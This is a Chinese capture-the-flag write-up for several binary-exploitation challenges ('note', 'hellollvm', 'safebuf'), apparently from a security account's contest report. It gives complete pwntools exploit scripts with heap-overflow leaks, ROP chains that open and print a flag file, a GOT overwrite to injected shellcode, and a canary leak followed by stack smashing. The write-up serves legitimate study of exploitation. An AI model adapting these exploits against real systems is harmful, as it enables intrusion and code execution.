free_hook_addr=libc.sym['__free_hook']
pop_rax_ret=libc.search(asm('pop rax;ret')).next()
pop_rdi_ret=libc.search(asm('pop rdi;ret')).next()
pop_rsi_ret=libc.search(asm('pop rsi;ret')).next()
pop_rdx_ret=libc.search(asm('pop rdx;ret')).next()
syscall_ret=libc.search(asm('syscall;ret')).next()
index=0x100000000-(0x320//0x20)
pay=p64(0)+p64(libc.sym['memcpy'])+p64(pop_rdi_ret)
pay+=p64(bin_sh_addr)+p64(system_addr)
edit_idx(9,index,pay)
success('libc_base:'+hex(libc_base))
success('heap_base:'+hex(heap_base))
gdb_attach(io,gdb_text)
io.interactive()
# except Exception as e:
# io.close()
# continue
# else:
# continue
总结
题目利用不难,在于理解
4
note
程序有沙箱只能orw
这是个简单题
简单逆向过掉登录
def login():
choice(1)
io.recvuntil('challenge: ')
data=io.recvuntil('n')
key=[]
c=''
sum1=0
for i in range(15):
aaa=int(data[i*2:i*2+2],16)
c+=(hex(aaa^i^0x11)[2:]).ljust(2,'0')
sum1+=aaa^i^0x11
c+=(hex(0x100-(sum1%0x100))[2:]).rjust(2,'0')
print c
io.sendlineafter('response: ',c)
漏洞在add的取随机数膜这里取完随机数后只取了2字节去%0x20
这里膜完可能会是负数,然后malloc之后read的时候size是v3+1,这里可以造成堆溢出,都堆溢出了后续就不多说了看脚本就完事了。
exp
#coding:utf-8
import sys
from pwn import *
from ctypes import CDLL
context.log_level='debug'
elfelf='./note'
#context.arch='amd64'
libc_base=0
heap_base=0
while True :
# try :
elf=ELF(elfelf)
context.arch=elf.arch
gdb_text='''
'''
if len(sys.argv)==1 :
clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
io=process(elfelf)
gdb_open=1
# io=process(['./'],env={'LD_PRELOAD':'./'})
clibc.srand(clibc.time(0))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
else :
clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
io=remote('172.20.2.1',9007)
gdb_open=0
clibc.srand(clibc.time(0))
libc=ELF('./libc-2.31.so')
# ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
def gdb_attach(io,a):
if gdb_open==1 :
gdb.attach(io,a)
sleep(0.5)
def choice(a):
io.sendlineafter('>> ',str(a))
def add(a,b,c):
choice(2)
io.sendlineafter('safe -> 1): ',str(c))
io.sendlineafter('size: ',str(a))
io.sendafter('content: ',b)
def show(a):
choice(3)
io.sendlineafter('index: ',str(a))
def delete(a):
choice(4)
io.sendlineafter('index: ',str(a))
def login():
choice(1)
io.recvuntil('challenge: ')
data=io.recvuntil('n')
key=[]
c=''
sum1=0
for i in range(15):
aaa=int(data[i*2:i*2+2],16)
c+=(hex(aaa^i^0x11)[2:]).ljust(2,'0')
sum1+=aaa^i^0x11
c+=(hex(0x100-(sum1%0x100))[2:]).rjust(2,'0')
print c
io.sendlineafter('response: ',c)
login()
add(0x4e0,'a'*0x10,0)
add(0x4e0,'a'*0x10,0)
data=''
for i in range(0x100):
delete(0)
add(0x4f2,'a'*0x4f0,1)
show(0)
io.recvuntil('content: ')
data=io.recvuntil('n-----------menu',drop=True)
if len(data) >0x4f0 :
break
key=[]
for i in range(0x10):
key.append(ord('a')^ord(data[0x4f0+i:0x4f1+i]))
add(0xe0,'a'*0x10,0)
add(0x4e0,'a'*0x10,0)
add(0xe0,'a'*0x10,0)
add(0x80,'a'*0x10,0)
add(0xe0,'a'*0x10,0)
add(0x180,'a'*0x10,0)
add(0xe0,'a'*0x10,0)
add(0x80,'a'*0x10,0)
add(0x80,'a'*0x10,0)
add(0x180,'a'*0x10,0)
add(0x80,'a'*0x10,0)
delete(3)
add(0x4e0,'a'*8,0)
show(3)
leak=u64(io.recvuntil('x7f')[-6:]+'x00x00')
libc_base=((leak-libc.sym['_IO_2_1_stdin_'])>>12)<<12
libc.address=libc_base
bin_sh_addr=libc.search('/bin/shx00').next()
system_addr=libc.sym['system']
free_hook_addr=libc.sym['__free_hook']
pop_rax_ret=libc.search(asm('pop rax;ret')).next()
pop_rdi_ret=libc.search(asm('pop rdi;ret')).next()
pop_rsi_ret=libc.search(asm('pop rsi;ret')).next()
pop_rdx_ret=libc.search(asm('pop rdx;pop rbx;ret')).next()
syscall_ret=libc.search(asm('syscall;ret')).next()
def encode(a):
j=0
c=''
while j<len(a):
for i in range(0x10):
c+=chr(ord(a[j:j+1])^key[i])
j+=1
if j>=len(a):
break
return c
delete(12)
delete(5)
for i in range(0x20):
delete(4)
add(0xf8,encode('a'*0xe8+p64(0x91)+p64(libc.sym['environ']-0x10)),1)
add(0x80,'a'*0x10,0)
add(0x80,'a'*0x10,0)
show(12)
io.recvuntil('a'*0x10)
stack_addr=u64(io.recv(6)+'x00x00')-0x108
delete(11)
delete(7)
for i in range(0x20):
delete(6)
add(0xf8,encode('a'*0xe8+p64(0x191)+p64(stack_addr)),1)
pay='./flagx00x00'
pay+=p64(pop_rdi_ret)+p64(stack_addr)
pay+=p64(pop_rsi_ret)+p64(0)
pay+=p64(pop_rax_ret)+p64(2)
pay+=p64(syscall_ret)
pay+=p64(pop_rax_ret)+p64(0)
pay+=p64(pop_rdi_ret)+p64(3)
pay+=p64(pop_rdx_ret)+p64(0x30)*2
pay+=p64(pop_rsi_ret)+p64(stack_addr-0x300)
pay+=p64(syscall_ret)
pay+=p64(pop_rax_ret)+p64(1)
pay+=p64(pop_rdi_ret)+p64(1)
pay+=p64(pop_rsi_ret)+p64(stack_addr-0x300)
pay+=p64(syscall_ret)
add(0x180,'aaaa',0)
add(0x180,encode(pay),0)
success('libc_base:'+hex(libc_base))
success('heap_base:'+hex(heap_base))
success('stack_addr:'+hex(stack_addr))
gdb_attach(io,gdb_text)
io.interactive()
# except Exception as e:
# io.close()
# continue
# else:
# continue
5
hellollvm
简单的llvm pass ,
这个是属于入门级别的llvm pas
关于llvm pass的文章已经有很多了
相关知识点如下:(私人笔记)
clang `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `llvm-config --ldflags`
-
getName()函数用于获取当前runOnFunction正处理的函数名。
-
getOpcodeName()函数用于获取指令的操作符的名称,getNumOperands()用于获取指令的操作数的个数,getOpcode()函数用于获取指令的操作符编号,在/usr/include/llvm-xx/llvm/IR/Instruction.def文件中有对应表,可以看到,56号对应着Call这个操作符:
HANDLE_OTHER_INST(56, Call , CallInst ) // Call a function
-
当在一个A函数中调用了B函数,在LLVM IR中,A会通过Call操作符调用B,getCalledFunction()函数就是用于获取此处B函数的名称。
-
getOperand(i)是用于获取第i个操作数(在这里就是获取所调用函数的第i个参数),getArgOperand()函数与其用法类似,但只能获取参数,getZExtValue()即get Zero Extended Value,也就是将获取的操作数转为无符号扩展整数。
-
再看到最内层for循环中的instIter->getNumOperands()-1,这里需要-1是因为对于call和invoke操作符,操作数的数量是实际参数的个数+1(因为将被调用者也当成了操作数)。
-
if (isa<ConstantInt>(call_inst->getOperand(i)))这行语句是通过isa判断当前获取到的操作数是不是立即数(ConstantInt)。
-
static RegisterPass<Hello> X("Hello", "Hello World Pass");中的第一个参数就是注册的PASS名称。
clang -emit-llvm -S test.c -o test.ll
opt -load ./LLVMHello.so -Hello test.ll
逆向分析so模块
一般来说,CTF题也都像上面的示例程序一样,重写了FunctionPass类中的runOnFunction函数,那么拿到一个so模块,该如何定位到重写的runOnFunction函数呢?
https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkanGAVeXgvgYbCmyXic81bn8o6GOAqXQSW9iaPFIp2jJa9q2IMU6Ov1pw/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1
如上图,用IDA对so模块逆向分析,在IDA中搜索vtable,定位到虚表后,虚表最后的一项sub_C880就是重写的runOnFunction函数,漏洞点一般就在其中。
至于PASS注册的名称,一般会在README文件中给出,若是没有给出,可通过对__cxa_atexit函数“交叉引用”来定位:
https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkeLa41TsoH54Jv5LNeXTQnLfXqNibGGKGj8VgTlqRibmy2fXVl8gcAYOg/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1
例如,上图中圈出的字符串就是此so模块注册的PASS名称,不同的so模块这里显示的可能会略有不同,但都能看出PASS名称。
当然,由于LLVM是C++所写,读者在做LLVM的题之前,也应当对C++程序的逆向分析有所了解。
gdb调试方法
接下来介绍一下如何用gdb调试LLVM的题。
首先用gdb调试opt并用set args设置参数传入,然后在main函数下断点再跑起来即可:
https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkBuWiaXe7fpNTdelicECPZ6gbib271QyP3V6ocx4Ikf44ByBCF5yEo02gA/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1
不过,opt并不会一开始就将so模块加载进来,而是在下图所示的call指令(在call了一堆llvm初始化相关函数后的第一个call)执行完之后,才会加载so模块:
https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkWUOHulhWWdUMqFqtWSOtpZUw3w9cqQh8alaCorJBTnGLs39KMTOKTA/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1
下图圈出来的就是so模块的基地址(高版本opt会显示在内存分布表的下方),直接用这个基地址加上对应偏移就可以得到so模块中的汇编指令地址了,也就能下断点了。
https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYk6sr0e7tImS8WtoIdg6SRlpcpA2BXprw2VwW5UiaqkicDOIld2NoHTNpQ/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1
值得一提的是,opt是通过下面几张图展示的这条调用链来执行重写的runOnFunction函数的:
https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkd8gFjaz7HiaBjjKcnn9OPFF2YibBDLCxxOiah6SnKCQiahprAx8h5wEGEA/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1
https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkq5kiavtYGAnp3Kh6Aic7cxFvosVNwMtKq1fpictw5LAMuib4sXYwWVIicsg/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1
https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkaqvSeumicHlatcV939YTA7tOUmw0aVnTEYj6AgynjZ27u0WTjIsKPEw/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1
https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkkKW1w7q0iaTxhibV60a4ibLCaqAJbKHapgzZUcakAPnL2P0RR8b9KB2XQ/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1
开始分析
其实也就没啥分析的了,通过上述方法找到runOnFunction函数之后
发现是用call函数实现了菜单堆,具体如下:
void Add(int a)
{
return ;
}
void Del(int a)
{
return ;
}
void Edit(int a,int idx,int value)
{
return ;
}
void Alloc()
{
return ;
}
void EditAlloc()
{
return ;
}
alloc是申请地址为0x10000长度为0x1000 权限为rwx 的一段虚拟内存。
edit函数是索引 chunk id 为a的堆块,对4字节为单位进行idx索引,写值为value
idx没有大小限制,这里可以造成任意地址写
因此我们可以实现uaf去申请0x10000地址然后去填充内容
再通过0x10000地址为基础去索引没有开pie 的opt程序的got表进行填写free的got表地址
修改值为0x10000就可以触发我们的shellcode了。
直接上代码
EXP
//b *(0x7fc2b50b6000+0x86F5)
void Add(int a)
{
return ;
}
void Del(int a)
{
return ;
}
void Edit(int a,int idx,int value)
{
return ;
}
void Alloc()
{
return ;
}
void EditAlloc()
{
return ;
}
int main()
{
Add(0xf0);
Add(0xf0);
Add(0xf0);
Del(2);
Del(1);
Alloc();
Edit(0,0x100/4,0x10000);
Add(0xf0);
Add(0xf0);
Edit(2,0,1220555080);
Edit(2,1,1213658673);
Edit(2,2,1768042431);
Edit(2,3,1932472174);
Edit(2,4,1599362920);
Edit(2,5,261700528);
Edit(2,6,5);
Edit(2,(0x78B108-0x10000)/4,0x10000);
Edit(2,((0x78B108-0x10000)/4)+1,0);
EditAlloc();
return 0;
}
6
safebuf
首先是因为少./libprotobuf.so.32库问主办方要了一下这个库
parsefromarray解析找到结构体,并且找到相应的处理函数
味对了
我们先去导出proto文件
export出来之后保存成文件然后通过github上大师傅们写好的项目进行转换
直接生成proto文件
然后通过protoc转化成我们能用的py
具体分析就是上面函数去处理输入的数据
漏洞在处理TwoArgs这个结构时
函数是sub_71E2
在处理TwoArgs里面的三个数据时都放入同一个地址里面了,解析idx时只赋值一个字节,解析size时全部覆盖,解析content时,赋值为protobuf str的结构体指针。
利用流程如下
首先地址值覆盖为堆中能泄露敏感数据且符合protobuf str结构体类型的地址指针然后GoogleMessage的idx设置为5去进行泄露。
然后泄露出libc 和 heap地址之后,再通过设置
这三个去组成一个伪造的str结构体类型 指针+size 布置为 fs段的canary存放位置,设置TwoArgs的idx为ThreeArgs我们伪造结构体的地址。通过选项5泄露出canary之后就可以通过选项4栈溢出构造rop去进行利用了。
EXP
#coding:utf-8
import sys
import os
from pwn import *
from ctypes import CDLL
from a_pb2 import *
context.log_level='debug'
elfelf='./pwn'
libc_base=0
heap_base=0
#context.arch='amd64'
while True :
# try :
elf=ELF(elfelf)
context.arch=elf.arch
gdb_text='''
b *$rebase(0x71E2)
b *$rebase(0x7234)
b *$rebase(0x7CA6)
b *$rebase(0x50A7)
'''
if len(sys.argv)==1 :
# io=process(['./'],env={'LD_PRELOAD':'./'})
io=process(elfelf)
# clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
# clibc.srand(clibc.time(0))
gdb_open=1
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
else :
io=remote('172.20.2.1',9008)
# clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
# clibc.srand(clibc.time(0))
gdb_open=0
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
def gdb_attach(io,a):
if gdb_open==1 :
gdb.attach(io,a)
sleep(1)
def choice(id,b,c):
a=GoogleMessage()
a.arg1=id
a.arg2.content=b'a'*0x40
a.arg3.content=b
a.arg3.idx=c
pay=a.SerializeToString()
return pay
def choice1(id,b,c):
a=GoogleMessage()
a.arg1=id
a.arg3.content=b'./flag'
a.arg3.size=c
# a.arg3.idx=c
a.arg4.idx=b&0xffffffff
a.arg4.content=b'c'
a.arg4.size=b>>32
a.arg4.seek=0x80
pay=a.SerializeToString()
return pay
pay=choice(5,b'a'*0x40,0xaa)
0x2de8
io.sendlineafter(b'$ ',pay)
io.sendline(b'32')
io.recvuntil(b'a'*0x40)
io.recv(6)
heap_base=u64(io.recv(8))
io.recv(0x90)
libc_base=u64(io.recv(8))-libc.sym['_IO_2_1_stdin_']
libc_base=libc_base&0xfffffffffffff000
libc.address=libc_base
bin_sh_addr=next(libc.search(b'/bin/shx00'))
system_addr=libc.sym['system']
free_hook_addr=libc.sym['__free_hook']
pop_rax_ret=next(libc.search(asm('pop rax;ret')))
pop_rdi_ret=next(libc.search(asm('pop rdi;ret')))
pop_rsi_ret=next(libc.search(asm('pop rsi;ret')))
pop_rdx_ret=next(libc.search(asm('pop rdx;pop rbx;ret')))
syscall_ret=next(libc.search(asm('syscall;ret')))
pay=choice1(5,libc_base-0x109000+0x2de8,heap_base-0xa308)
io.sendlineafter(b'$ ',pay)
io.sendline(b'32')
io.recvuntil('n5')
canary=io.recv(8)
flag_name_addr=heap_base-0x8ac0
pay=choice1(4,libc_base-0x109000+0x2de8,heap_base-0xa308)
io.sendlineafter(b'$ ',pay)
pay1=b'a'*0x1c+canary+p64(0)
pay1+=p64(pop_rdi_ret)+p64(flag_name_addr)
pay1+=p64(pop_rsi_ret)+p64(0)
pay1+=p64(pop_rdx_ret)+p64(0x30)*2
pay1+=p64(pop_rax_ret)+p64(2)
pay1+=p64(syscall_ret)
pay1+=p64(pop_rax_ret)+p64(0)
pay1+=p64(pop_rdi_ret)+p64(3)
pay1+=p64(pop_rsi_ret)+p64(heap_base)
pay1+=p64(syscall_ret)
pay1+=p64(pop_rax_ret)+p64(1)
pay1+=p64(pop_rdi_ret)+p64(1)
pay1+=p64(pop_rsi_ret)+p64(heap_base)
pay1+=p64(syscall_ret)
gdb_attach(io,gdb_text)
io.sendline(pay1)
success('libc_base:'+hex(libc_base))
success('heap_base:'+hex(heap_base))
io.interactive()
# except Exception as e:
# io.close()
# continue
# else:
# continue
EDI安全

扫二维码|关注我们
一个专注渗透实战经验分享的公众号
原文始发于微信公众号(EDI安全):第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC